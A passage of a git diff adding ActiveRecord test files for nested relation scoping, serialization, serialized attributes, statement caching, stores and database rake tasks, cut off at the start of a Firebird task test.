+ assert_not_equal [], DeveloperFilteredOnJoins.all
+
+ DeveloperFilteredOnJoins.delete_all()
+
+ assert_equal [], DeveloperFilteredOnJoins.all
+ assert_not_equal [], Developer.all
+ end
+end
+
+class NestedRelationScopingTest < ActiveRecord::TestCase
+ fixtures :authors, :developers, :projects, :comments, :posts
+
+ def test_merge_options
+ Developer.where('salary = 80000').scoping do
+ Developer.limit(10).scoping do
+ devs = Developer.all
+ assert_match '(salary = 80000)', devs.to_sql
+ assert_equal 10, devs.taken
+ end
+ end
+ end
+
+ def test_merge_inner_scope_has_priority
+ Developer.limit(5).scoping do
+ Developer.limit(10).scoping do
+ assert_equal 10, Developer.all.size
+ end
+ end
+ end
+
+ def test_replace_options
+ Developer.where(:name => 'David').scoping do
+ Developer.unscoped do
+ assert_equal 'Jamis', Developer.where(:name => 'Jamis').first[:name]
+ end
+
+ assert_equal 'David', Developer.first[:name]
+ end
+ end
+
+ def test_three_level_nested_exclusive_scoped_find
+ Developer.where("name = 'Jamis'").scoping do
+ assert_equal 'Jamis', Developer.first.name
+
+ Developer.unscoped.where("name = 'David'") do
+ assert_equal 'David', Developer.first.name
+
+ Developer.unscoped.where("name = 'Maiha'") do
+ assert_equal nil, Developer.first
+ end
+
+ # ensure that scoping is restored
+ assert_equal 'David', Developer.first.name
+ end
+
+ # ensure that scoping is restored
+ assert_equal 'Jamis', Developer.first.name
+ end
+ end
+
+ def test_nested_scoped_create
+ comment = Comment.create_with(:post_id => 1).scoping do
+ Comment.create_with(:post_id => 2).scoping do
+ Comment.create :body => "Hey guys, nested scopes are broken. Please fix!"
+ end
+ end
+
+ assert_equal 2, comment.post_id
+ end
+
+ def test_nested_exclusive_scope_for_create
+ comment = Comment.create_with(:body => "Hey guys, nested scopes are broken. Please fix!").scoping do
+ Comment.unscoped.create_with(:post_id => 1).scoping do
+ assert Comment.new.body.blank?
+ Comment.create :body => "Hey guys"
+ end
+ end
+
+ assert_equal 1, comment.post_id
+ assert_equal 'Hey guys', comment.body
+ end
+end
+
+class HasManyScopingTest< ActiveRecord::TestCase
+ fixtures :comments, :posts, :people, :references
+
+ def setup
+ @welcome = Post.find(1)
+ end
+
+ def test_forwarding_of_static_methods
+ assert_equal 'a comment...', Comment.what_are_you
+ assert_equal 'a comment...', @welcome.comments.what_are_you
+ end
+
+ def test_forwarding_to_scoped
+ assert_equal 4, Comment.search_by_type('Comment').size
+ assert_equal 2, @welcome.comments.search_by_type('Comment').size
+ end
+
+ def test_nested_scope_finder
+ Comment.where('1=0').scoping do
+ assert_equal 0, @welcome.comments.count
+ assert_equal 'a comment...', @welcome.comments.what_are_you
+ end
+
+ Comment.where('1=1').scoping do
+ assert_equal 2, @welcome.comments.count
+ assert_equal 'a comment...', @welcome.comments.what_are_you
+ end
+ end
+
+ def test_should_maintain_default_scope_on_associations
+ magician = BadReference.find(1)
+ assert_equal [magician], people(:michael).bad_references
+ end
+
+ def test_should_default_scope_on_associations_is_overridden_by_association_conditions
+ reference = references(:michael_unicyclist).becomes(BadReference)
+ assert_equal [reference], people(:michael).fixed_bad_references
+ end
+
+ def test_should_maintain_default_scope_on_eager_loaded_associations
+ michael = Person.where(:id => people(:michael).id).includes(:bad_references).first
+ magician = BadReference.find(1)
+ assert_equal [magician], michael.bad_references
+ end
+end
+
+class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
+ fixtures :posts, :categories, :categories_posts
+
+ def setup
+ @welcome = Post.find(1)
+ end
+
+ def test_forwarding_of_static_methods
+ assert_equal 'a category...', Category.what_are_you
+ assert_equal 'a category...', @welcome.categories.what_are_you
+ end
+
+ def test_nested_scope_finder
+ Category.where('1=0').scoping do
+ assert_equal 0, @welcome.categories.count
+ assert_equal 'a category...', @welcome.categories.what_are_you
+ end
+
+ Category.where('1=1').scoping do
+ assert_equal 2, @welcome.categories.count
+ assert_equal 'a category...', @welcome.categories.what_are_you
+ end
+ end
+end
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
new file mode 100644
index 0000000..c46060a
--- /dev/null
+++ b/activerecord/test/cases/serialization_test.rb
@@ -0,0 +1,68 @@
+require "cases/helper"
+require 'models/contact'
+require 'models/topic'
+
+class SerializationTest < ActiveRecord::TestCase
+ FORMATS = [ :xml, :json ]
+
+ def setup
+ @contact_attributes = {
+ :name => 'aaron stack',
+ :age => 25,
+ :avatar => 'binarydata',
+ :created_at => Time.utc(2006, 8, 1),
+ :awesome => false,
+ :preferences => { :gem => '<strong>ruby</strong>' },
+ :alternative_id => nil,
+ :id => nil
+ }
+ end
+
+ def test_include_root_in_json_is_false_by_default
+ assert_equal false, ActiveRecord::Base.include_root_in_json, "include_root_in_json should be false by default but was not"
+ end
+
+ def test_serialize_should_be_reversible
+ FORMATS.each do |format|
+ @serialized = Contact.new.send("to_#{format}")
+ contact = Contact.new.send("from_#{format}", @serialized)
+
+ assert_equal @contact_attributes.keys.collect(&:to_s).sort, contact.attributes.keys.collect(&:to_s).sort, "For #{format}"
+ end
+ end
+
+ def test_serialize_should_allow_attribute_only_filtering
+ FORMATS.each do |format|
+ @serialized = Contact.new(@contact_attributes).send("to_#{format}", :only => [ :age, :name ])
+ contact = Contact.new.send("from_#{format}", @serialized)
+ assert_equal @contact_attributes[:name], contact.name, "For #{format}"
+ assert_nil contact.avatar, "For #{format}"
+ end
+ end
+
+ def test_serialize_should_allow_attribute_except_filtering
+ FORMATS.each do |format|
+ @serialized = Contact.new(@contact_attributes).send("to_#{format}", :except => [ :age, :name ])
+ contact = Contact.new.send("from_#{format}", @serialized)
+ assert_nil contact.name, "For #{format}"
+ assert_nil contact.age, "For #{format}"
+ assert_equal @contact_attributes[:awesome], contact.awesome, "For #{format}"
+ end
+ end
+
+ def test_include_root_in_json_allows_inheritance
+ original_root_in_json = ActiveRecord::Base.include_root_in_json
+ ActiveRecord::Base.include_root_in_json = true
+
+ klazz = Class.new(ActiveRecord::Base)
+ klazz.table_name = 'topics'
+ assert klazz.include_root_in_json
+
+ klazz.include_root_in_json = false
+ assert ActiveRecord::Base.include_root_in_json
+ assert !klazz.include_root_in_json
+ assert !klazz.new.include_root_in_json
+ ensure
+ ActiveRecord::Base.include_root_in_json = original_root_in_json
+ end
+end
diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb
new file mode 100644
index 0000000..765e92c
--- /dev/null
+++ b/activerecord/test/cases/serialized_attribute_test.rb
@@ -0,0 +1,258 @@
+require 'cases/helper'
+require 'models/topic'
+require 'models/reply'
+require 'models/person'
+require 'models/traffic_light'
+require 'bcrypt'
+
+class SerializedAttributeTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ MyObject = Struct.new :attribute1, :attribute2
+
+ def teardown
+ super
+ Topic.serialize("content")
+ end
+
+ def test_list_of_serialized_attributes
+ assert_equal %w(content), Topic.serialized_attributes.keys
+ end
+
+ def test_serialized_attributes_are_class_level_settings
+ topic = Topic.new
+ assert_raise(NoMethodError) { topic.serialized_attributes = [] }
+ assert_deprecated { topic.serialized_attributes }
+ end
+
+ def test_serialized_attribute
+ Topic.serialize("content", MyObject)
+
+ myobj = MyObject.new('value1', 'value2')
+ topic = Topic.create("content" => myobj)
+ assert_equal(myobj, topic.content)
+
+ topic.reload
+ assert_equal(myobj, topic.content)
+ end
+
+ def test_serialized_attribute_init_with
+ topic = Topic.allocate
+ topic.init_with('attributes' => { 'content' => '--- foo' })
+ assert_equal 'foo', topic.content
+ end
+
+ def test_serialized_attribute_in_base_class
+ Topic.serialize("content", Hash)
+
+ hash = { 'content1' => 'value1', 'content2' => 'value2' }
+ important_topic = ImportantTopic.create("content" => hash)
+ assert_equal(hash, important_topic.content)
+
+ important_topic.reload
+ assert_equal(hash, important_topic.content)
+ end
+
+ # This test was added to fix GH #4004. Obviously the value returned
+ # is not really the value 'before type cast' so we should maybe think
+ # about changing that in the future.
+ def test_serialized_attribute_before_type_cast_returns_unserialized_value
+ Topic.serialize :content, Hash
+
+ t = Topic.new(content: { foo: :bar })
+ assert_equal({ foo: :bar }, t.content_before_type_cast)
+ t.save!
+ t.reload
+ assert_equal({ foo: :bar }, t.content_before_type_cast)
+ end
+
+ def test_serialized_attributes_before_type_cast_returns_unserialized_value
+ Topic.serialize :content, Hash
+
+ t = Topic.new(content: { foo: :bar })
+ assert_equal({ foo: :bar }, t.attributes_before_type_cast["content"])
+ t.save!
+ t.reload
+ assert_equal({ foo: :bar }, t.attributes_before_type_cast["content"])
+ end
+
+ def test_serialized_attribute_calling_dup_method
+ Topic.serialize :content, JSON
+
+ t = Topic.new(:content => { :foo => :bar }).dup
+ assert_equal({ :foo => :bar }, t.content_before_type_cast)
+ end
+
+ def test_serialized_attribute_declared_in_subclass
+ hash = { 'important1' => 'value1', 'important2' => 'value2' }
+ important_topic = ImportantTopic.create("important" => hash)
+ assert_equal(hash, important_topic.important)
+
+ important_topic.reload
+ assert_equal(hash, important_topic.important)
+ assert_equal(hash, important_topic.read_attribute(:important))
+ end
+
+ def test_serialized_time_attribute
+ myobj = Time.local(2008,1,1,1,0)
+ topic = Topic.create("content" => myobj).reload
+ assert_equal(myobj, topic.content)
+ end
+
+ def test_serialized_string_attribute
+ myobj = "Yes"
+ topic = Topic.create("content" => myobj).reload
+ assert_equal(myobj, topic.content)
+ end
+
+ def test_nil_serialized_attribute_without_class_constraint
+ topic = Topic.new
+ assert_nil topic.content
+ end
+
+ def test_nil_not_serialized_without_class_constraint
+ assert Topic.new(:content => nil).save
+ assert_equal 1, Topic.where(:content => nil).count
+ end
+
+ def test_nil_not_serialized_with_class_constraint
+ Topic.serialize :content, Hash
+ assert Topic.new(:content => nil).save
+ assert_equal 1, Topic.where(:content => nil).count
+ end
+
+ def test_serialized_attribute_should_raise_exception_on_save_with_wrong_type
+ Topic.serialize(:content, Hash)
+ topic = Topic.new(:content => "string")
+ assert_raise(ActiveRecord::SerializationTypeMismatch) { topic.save }
+ end
+
+ def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
+ myobj = MyObject.new('value1', 'value2')
+ topic = Topic.new(:content => myobj)
+ assert topic.save
+ Topic.serialize(:content, Hash)
+ assert_raise(ActiveRecord::SerializationTypeMismatch) { Topic.find(topic.id).content }
+ end
+
+ def test_serialized_attribute_with_class_constraint
+ settings = { "color" => "blue" }
+ Topic.serialize(:content, Hash)
+ topic = Topic.new(:content => settings)
+ assert topic.save
+ assert_equal(settings, Topic.find(topic.id).content)
+ end
+
+ def test_serialized_default_class
+ Topic.serialize(:content, Hash)
+ topic = Topic.new
+ assert_equal Hash, topic.content.class
+ assert_equal Hash, topic.read_attribute(:content).class
+ topic.content["beer"] = "MadridRb"
+ assert topic.save
+ topic.reload
+ assert_equal Hash, topic.content.class
+ assert_equal "MadridRb", topic.content["beer"]
+ end
+
+ def test_serialized_no_default_class_for_object
+ topic = Topic.new
+ assert_nil topic.content
+ end
+
+ def test_serialized_boolean_value_true
+ topic = Topic.new(:content => true)
+ assert topic.save
+ topic = topic.reload
+ assert_equal topic.content, true
+ end
+
+ def test_serialized_boolean_value_false
+ topic = Topic.new(:content => false)
+ assert topic.save
+ topic = topic.reload
+ assert_equal topic.content, false
+ end
+
+ def test_serialize_with_coder
+ coder = Class.new {
+ # Identity
+ def load(thing)
+ thing
+ end
+
+ # base 64
+ def dump(thing)
+ [thing].pack('m')
+ end
+ }.new
+
+ Topic.serialize(:content, coder)
+ s = 'hello world'
+ topic = Topic.new(:content => s)
+ assert topic.save
+ topic = topic.reload
+ assert_equal [s].pack('m'), topic.content
+ end
+
+ def test_serialize_with_bcrypt_coder
+ crypt_coder = Class.new {
+ def load(thing)
+ return unless thing
+ BCrypt::Password.new thing
+ end
+
+ def dump(thing)
+ BCrypt::Password.create(thing).to_s
+ end
+ }.new
+
+ Topic.serialize(:content, crypt_coder)
+ password = 'password'
+ topic = Topic.new(:content => password)
+ assert topic.save
+ topic = topic.reload
+ assert_kind_of BCrypt::Password, topic.content
+ assert_equal(true, topic.content == password, 'password should equal')
+ end
+
+ def test_serialize_attribute_via_select_method_when_time_zone_available
+ ActiveRecord::Base.time_zone_aware_attributes = true
+ Topic.serialize(:content, MyObject)
+
+ myobj = MyObject.new('value1', 'value2')
+ topic = Topic.create(content: myobj)
+
+ assert_equal(myobj, Topic.select(:content).find(topic.id).content)
+ assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
+ ensure
+ ActiveRecord::Base.time_zone_aware_attributes = false
+ end
+
+ def test_serialize_attribute_can_be_serialized_in_an_integer_column
+ insures = ['life']
+ person = SerializedPerson.new(first_name: 'David', insures: insures)
+ assert person.save
+ person = person.reload
+ assert_equal(insures, person.insures)
+ end
+
+ def test_regression_serialized_default_on_text_column_with_null_false
+ light = TrafficLight.new
+ assert_equal [], light.state
+ assert_equal [], light.long_state
+ end
+
+ def test_serialized_column_should_not_be_wrapped_twice
+ Topic.serialize(:content, MyObject)
+
+ myobj = MyObject.new('value1', 'value2')
+ Topic.create(content: myobj)
+ Topic.create(content: myobj)
+
+ Topic.all.each do |topic|
+ type = topic.instance_variable_get("@columns_hash")["content"]
+ assert !type.instance_variable_get("@column").is_a?(ActiveRecord::AttributeMethods::Serialization::Type)
+ end
+ end
+end
diff --git a/activerecord/test/cases/statement_cache_test.rb b/activerecord/test/cases/statement_cache_test.rb
new file mode 100644
index 0000000..76da497
--- /dev/null
+++ b/activerecord/test/cases/statement_cache_test.rb
@@ -0,0 +1,64 @@
+require 'cases/helper'
+require 'models/book'
+require 'models/liquid'
+require 'models/molecule'
+require 'models/electron'
+
+module ActiveRecord
+ class StatementCacheTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+ end
+
+ def test_statement_cache_with_simple_statement
+ cache = ActiveRecord::StatementCache.new do
+ Book.where(name: "my book").where("author_id > 3")
+ end
+
+ Book.create(name: "my book", author_id: 4)
+
+ books = cache.execute
+ assert_equal "my book", books[0].name
+ end
+
+ def test_statement_cache_with_nil_statement_raises_error
+ assert_raise(ArgumentError) do
+ ActiveRecord::StatementCache.new do
+ nil
+ end
+ end
+ end
+
+ def test_statement_cache_with_complex_statement
+ cache = ActiveRecord::StatementCache.new do
+ Liquid.joins(:molecules => :electrons).where('molecules.name' => 'dioxane', 'electrons.name' => 'lepton')
+ end
+
+ salty = Liquid.create(name: 'salty')
+ molecule = salty.molecules.create(name: 'dioxane')
+ molecule.electrons.create(name: 'lepton')
+
+ liquids = cache.execute
+ assert_equal "salty", liquids[0].name
+ end
+
+ def test_statement_cache_values_differ
+ cache = ActiveRecord::StatementCache.new do
+ Book.where(name: "my book")
+ end
+
+ 3.times do
+ Book.create(name: "my book")
+ end
+
+ first_books = cache.execute
+
+ 3.times do
+ Book.create(name: "my book")
+ end
+
+ additional_books = cache.execute
+ assert first_books != additional_books
+ end
+ end
+end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
new file mode 100644
index 0000000..3e32d86
--- /dev/null
+++ b/activerecord/test/cases/store_test.rb
@@ -0,0 +1,158 @@
+require 'cases/helper'
+require 'models/admin'
+require 'models/admin/user'
+
+class StoreTest < ActiveRecord::TestCase
+ fixtures :'admin/users'
+
+ setup do
+ @john = Admin::User.create!(:name => 'John Doe', :color => 'black', :remember_login => true, :height => 'tall', :is_a_good_guy => true)
+ end
+
+ test "reading store attributes through accessors" do
+ assert_equal 'black', @john.color
+ assert_nil @john.homepage
+ end
+
+ test "writing store attributes through accessors" do
+ @john.color = 'red'
+ @john.homepage = '37signals.com'
+
+ assert_equal 'red', @john.color
+ assert_equal '37signals.com', @john.homepage
+ end
+
+ test "accessing attributes not exposed by accessors" do
+ @john.settings[:icecream] = 'graeters'
+ @john.save
+
+ assert_equal 'graeters', @john.reload.settings[:icecream]
+ end
+
+ test "overriding a read accessor" do
+ @john.settings[:phone_number] = '1234567890'
+
+ assert_equal '(123) 456-7890', @john.phone_number
+ end
+
+ test "overriding a read accessor using super" do
+ @john.settings[:color] = nil
+
+ assert_equal 'red', @john.color
+ end
+
+ test "updating the store will mark it as changed" do
+ @john.color = 'red'
+ assert @john.settings_changed?
+ end
+
+ test "updating the store populates the changed array correctly" do
+ @john.color = 'red'
+ assert_equal 'black', @john.settings_change[0]['color']
+ assert_equal 'red', @john.settings_change[1]['color']
+ end
+
+ test "updating the store won't mark it as changed if an attribute isn't changed" do
+ @john.color = @john.color
+ assert !@john.settings_changed?
+ end
+
+ test "object initialization with not nullable column" do
+ assert_equal true, @john.remember_login
+ end
+
+ test "writing with not nullable column" do
+ @john.remember_login = false
+ assert_equal false, @john.remember_login
+ end
+
+ test "overriding a write accessor" do
+ @john.phone_number = '(123) 456-7890'
+
+ assert_equal '1234567890', @john.settings[:phone_number]
+ end
+
+ test "overriding a write accessor using super" do
+ @john.color = 'yellow'
+
+ assert_equal 'blue', @john.color
+ end
+
+ test "preserve store attributes data in HashWithIndifferentAccess format without any conversion" do
+ @john.json_data = ActiveSupport::HashWithIndifferentAccess.new(:height => 'tall', 'weight' => 'heavy')
+ @john.height = 'low'
+ assert_equal true, @john.json_data.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+ assert_equal 'low', @john.json_data[:height]
+ assert_equal 'low', @john.json_data['height']
+ assert_equal 'heavy', @john.json_data[:weight]
+ assert_equal 'heavy', @john.json_data['weight']
+ end
+
+ test "convert store attributes from Hash to HashWithIndifferentAccess saving the data and access attributes indifferently" do
+ user = Admin::User.find_by_name('Jamis')
+ assert_equal 'symbol', user.settings[:symbol]
+ assert_equal 'symbol', user.settings['symbol']
+ assert_equal 'string', user.settings[:string]
+ assert_equal 'string', user.settings['string']
+ assert_equal true, user.settings.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+
+ user.height = 'low'
+ assert_equal 'symbol', user.settings[:symbol]
+ assert_equal 'symbol', user.settings['symbol']
+ assert_equal 'string', user.settings[:string]
+ assert_equal 'string', user.settings['string']
+ assert_equal true, user.settings.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+ end
+
+ test "convert store attributes from any format other than Hash or HashWithIndifferent access losing the data" do
+ @john.json_data = "somedata"
+ @john.height = 'low'
+ assert_equal true, @john.json_data.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+ assert_equal 'low', @john.json_data[:height]
+ assert_equal 'low', @john.json_data['height']
+ assert_equal false, @john.json_data.delete_if { |k, v| k == 'height' }.any?
+ end
+
+ test "reading store attributes through accessors encoded with JSON" do
+ assert_equal 'tall', @john.height
+ assert_nil @john.weight
+ end
+
+ test "writing store attributes through accessors encoded with JSON" do
+ @john.height = 'short'
+ @john.weight = 'heavy'
+
+ assert_equal 'short', @john.height
+ assert_equal 'heavy', @john.weight
+ end
+
+ test "accessing attributes not exposed by accessors encoded with JSON" do
+ @john.json_data['somestuff'] = 'somecoolstuff'
+ @john.save
+
+ assert_equal 'somecoolstuff', @john.reload.json_data['somestuff']
+ end
+
+ test "updating the store will mark it as changed encoded with JSON" do
+ @john.height = 'short'
+ assert @john.json_data_changed?
+ end
+
+ test "object initialization with not nullable column encoded with JSON" do
+ assert_equal true, @john.is_a_good_guy
+ end
+
+ test "writing with not nullable column encoded with JSON" do
+ @john.is_a_good_guy = false
+ assert_equal false, @john.is_a_good_guy
+ end
+
+ test "all stored attributes are returned" do
+ assert_equal [:color, :homepage, :favorite_food], Admin::User.stored_attributes[:settings]
+ end
+
+ test "stores_attributes are class level settings" do
+ assert_raise(NoMethodError) { @john.stored_attributes = Hash.new }
+ assert_raise(NoMethodError) { @john.stored_attributes }
+ end
+end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
new file mode 100644
index 0000000..3bfbc92
--- /dev/null
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -0,0 +1,308 @@
+require 'cases/helper'
+
+module ActiveRecord
+ module DatabaseTasksSetupper
+ def setup
+ @mysql_tasks, @postgresql_tasks, @sqlite_tasks = stub, stub, stub
+ ActiveRecord::Tasks::MySQLDatabaseTasks.stubs(:new).returns @mysql_tasks
+ ActiveRecord::Tasks::PostgreSQLDatabaseTasks.stubs(:new).returns @postgresql_tasks
+ ActiveRecord::Tasks::SQLiteDatabaseTasks.stubs(:new).returns @sqlite_tasks
+ end
+ end
+
+ ADAPTERS_TASKS = {
+ mysql: :mysql_tasks,
+ mysql2: :mysql_tasks,
+ postgresql: :postgresql_tasks,
+ sqlite3: :sqlite_tasks
+ }
+
+ class DatabaseTasksRegisterTask < ActiveRecord::TestCase
+ def test_register_task
+ klazz = Class.new do
+ def initialize(*arguments); end
+ def structure_dump(filename); end
+ end
+ instance = klazz.new
+
+ klazz.stubs(:new).returns instance
+ instance.expects(:structure_dump).with("awesome-file.sql")
+
+ ActiveRecord::Tasks::DatabaseTasks.register_task(/foo/, klazz)
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump({'adapter' => :foo}, "awesome-file.sql")
+ end
+
+ def test_unregistered_task
+ assert_raise(ActiveRecord::Tasks::DatabaseNotSupported) do
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump({'adapter' => :bar}, "awesome-file.sql")
+ end
+ end
+ end
+
+ class DatabaseTasksCreateTest < ActiveRecord::TestCase
+ include DatabaseTasksSetupper
+
+ ADAPTERS_TASKS.each do |k, v|
+ define_method("test_#{k}_create") do
+ eval("@#{v}").expects(:create)
+ ActiveRecord::Tasks::DatabaseTasks.create 'adapter' => k
+ end
+ end
+ end
+
+ class DatabaseTasksCreateAllTest < ActiveRecord::TestCase
+ def setup
+ @configurations = {'development' => {'database' => 'my-db'}}
+
+ ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+ end
+
+ def test_ignores_configurations_without_databases
+ @configurations['development'].merge!('database' => nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create).never
+
+ ActiveRecord::Tasks::DatabaseTasks.create_all
+ end
+
+ def test_ignores_remote_databases
+ @configurations['development'].merge!('host' => 'my.server.tld')
+ $stderr.stubs(:puts).returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create).never
+
+ ActiveRecord::Tasks::DatabaseTasks.create_all
+ end
+
+ def test_warning_for_remote_databases
+ @configurations['development'].merge!('host' => 'my.server.tld')
+
+ $stderr.expects(:puts).with('This task only modifies local databases. my-db is on a remote host.')
+
+ ActiveRecord::Tasks::DatabaseTasks.create_all
+ end
+
+ def test_creates_configurations_with_local_ip
+ @configurations['development'].merge!('host' => '127.0.0.1')
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+ ActiveRecord::Tasks::DatabaseTasks.create_all
+ end
+
+ def test_creates_configurations_with_local_host
+ @configurations['development'].merge!('host' => 'localhost')
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+ ActiveRecord::Tasks::DatabaseTasks.create_all
+ end
+
+ def test_creates_configurations_with_blank_hosts
+ @configurations['development'].merge!('host' => nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+ ActiveRecord::Tasks::DatabaseTasks.create_all
+ end
+ end
+
+ class DatabaseTasksCreateCurrentTest < ActiveRecord::TestCase
+ def setup
+ @configurations = {
+ 'development' => {'database' => 'dev-db'},
+ 'test' => {'database' => 'test-db'},
+ 'production' => {'database' => 'prod-db'}
+ }
+
+ ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_creates_current_environment_database
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+ with('database' => 'prod-db')
+
+ ActiveRecord::Tasks::DatabaseTasks.create_current(
+ ActiveSupport::StringInquirer.new('production')
+ )
+ end
+
+ def test_creates_test_database_when_environment_is_database
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+ with('database' => 'dev-db')
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+ with('database' => 'test-db')
+
+ ActiveRecord::Tasks::DatabaseTasks.create_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+
+ def test_establishes_connection_for_the_given_environment
+ ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
+
+ ActiveRecord::Base.expects(:establish_connection).with('development')
+
+ ActiveRecord::Tasks::DatabaseTasks.create_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+ end
+
+ class DatabaseTasksDropTest < ActiveRecord::TestCase
+ include DatabaseTasksSetupper
+
+ ADAPTERS_TASKS.each do |k, v|
+ define_method("test_#{k}_drop") do
+ eval("@#{v}").expects(:drop)
+ ActiveRecord::Tasks::DatabaseTasks.drop 'adapter' => k
+ end
+ end
+ end
+
+ class DatabaseTasksDropAllTest < ActiveRecord::TestCase
+ def setup
+ @configurations = {:development => {'database' => 'my-db'}}
+
+ ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+ end
+
+ def test_ignores_configurations_without_databases
+ @configurations[:development].merge!('database' => nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop).never
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_all
+ end
+
+ def test_ignores_remote_databases
+ @configurations[:development].merge!('host' => 'my.server.tld')
+ $stderr.stubs(:puts).returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop).never
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_all
+ end
+
+ def test_warning_for_remote_databases
+ @configurations[:development].merge!('host' => 'my.server.tld')
+
+ $stderr.expects(:puts).with('This task only modifies local databases. my-db is on a remote host.')
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_all
+ end
+
+ def test_creates_configurations_with_local_ip
+ @configurations[:development].merge!('host' => '127.0.0.1')
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_all
+ end
+
+ def test_creates_configurations_with_local_host
+ @configurations[:development].merge!('host' => 'localhost')
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_all
+ end
+
+ def test_creates_configurations_with_blank_hosts
+ @configurations[:development].merge!('host' => nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_all
+ end
+ end
+
+ class DatabaseTasksDropCurrentTest < ActiveRecord::TestCase
+ def setup
+ @configurations = {
+ 'development' => {'database' => 'dev-db'},
+ 'test' => {'database' => 'test-db'},
+ 'production' => {'database' => 'prod-db'}
+ }
+
+ ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+ end
+
+ def test_creates_current_environment_database
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+ with('database' => 'prod-db')
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_current(
+ ActiveSupport::StringInquirer.new('production')
+ )
+ end
+
+ def test_creates_test_database_when_environment_is_database
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+ with('database' => 'dev-db')
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+ with('database' => 'test-db')
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+ end
+
+
+ class DatabaseTasksPurgeTest < ActiveRecord::TestCase
+ include DatabaseTasksSetupper
+
+ ADAPTERS_TASKS.each do |k, v|
+ define_method("test_#{k}_purge") do
+ eval("@#{v}").expects(:purge)
+ ActiveRecord::Tasks::DatabaseTasks.purge 'adapter' => k
+ end
+ end
+ end
+
+ class DatabaseTasksCharsetTest < ActiveRecord::TestCase
+ include DatabaseTasksSetupper
+
+ ADAPTERS_TASKS.each do |k, v|
+ define_method("test_#{k}_charset") do
+ eval("@#{v}").expects(:charset)
+ ActiveRecord::Tasks::DatabaseTasks.charset 'adapter' => k
+ end
+ end
+ end
+
+ class DatabaseTasksCollationTest < ActiveRecord::TestCase
+ include DatabaseTasksSetupper
+
+ ADAPTERS_TASKS.each do |k, v|
+ define_method("test_#{k}_collation") do
+ eval("@#{v}").expects(:collation)
+ ActiveRecord::Tasks::DatabaseTasks.collation 'adapter' => k
+ end
+ end
+ end
+
+ class DatabaseTasksStructureDumpTest < ActiveRecord::TestCase
+ include DatabaseTasksSetupper
+
+ ADAPTERS_TASKS.each do |k, v|
+ define_method("test_#{k}_structure_dump") do
+ eval("@#{v}").expects(:structure_dump).with("awesome-file.sql")
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump({'adapter' => k}, "awesome-file.sql")
+ end
+ end
+ end
+
+ class DatabaseTasksStructureLoadTest < ActiveRecord::TestCase
+ include DatabaseTasksSetupper
+
+ ADAPTERS_TASKS.each do |k, v|
+ define_method("test_#{k}_structure_load") do
+ eval("@#{v}").expects(:structure_load).with("awesome-file.sql")
+ ActiveRecord::Tasks::DatabaseTasks.structure_load({'adapter' => k}, "awesome-file.sql")
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/tasks/firebird_rake_test.rb b/activerecord/test/cases/tasks/firebird_rake_test.rb
new file mode 100644
index 0000000..c54989a
--- /dev/null
+++ b/activerecord/test/cases/tasks/firebird_rake_test.rb
@@ -0,0 +1,100 @@
+require 'cases/helper'
+
+unless defined?(FireRuby::Database)
+module FireRuby
+ module Database; end
+end
+end
+
+module ActiveRecord
+ module FirebirdSetupper
+ def setup
+ @database = 'db.firebird'
+ @connection = stub :connection
+ @configuration = {
+ 'adapter' => 'firebird',
+ 'database' => @database
+ }
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+
+ @tasks = Class.new(ActiveRecord::Tasks::FirebirdDatabaseTasks) do
+ def initialize(configuration)
+ ActiveSupport::Deprecation.silence { super }
